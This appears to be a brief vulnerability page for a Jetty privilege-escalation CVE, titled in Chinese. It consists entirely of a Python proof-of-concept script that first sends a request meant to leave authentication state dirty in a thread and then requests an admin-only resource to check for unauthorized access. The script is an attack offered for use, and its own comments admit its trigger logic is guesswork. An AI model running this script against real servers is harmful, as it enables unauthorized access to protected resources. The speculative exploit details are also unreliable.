CVE-2026-5795 Eclipse Jetty权限提升漏洞

import requests # Target URL target = "http://vulnerable-jetty-server:8080/app" # Step 1: Send a request that triggers the JASPIAuthenticator early return logic # This request might aim to trigger a specific condition that leaves ThreadLocals dirty print("[+] Step 1: Triggering vulnerability to set ThreadLocal...") try: requests.get(target + "/auth-trigger", timeout=5) except Exception as e: print(f"[!] First request completed (可能触发提前返回): {e}") # Step 2: Send a subsequent request immediately, hoping to hit the same thread # This request should inherit the privileges if the exploit is successful print("[+] Step 2: Sending subsequent request to check privilege escalation...") response = requests.get(target + "/admin/protected-resource") if response.status_code == 200: print("[+] Success! Privilege escalation confirmed. Access granted to protected resource.") else: print("[-] Failed. Access denied.")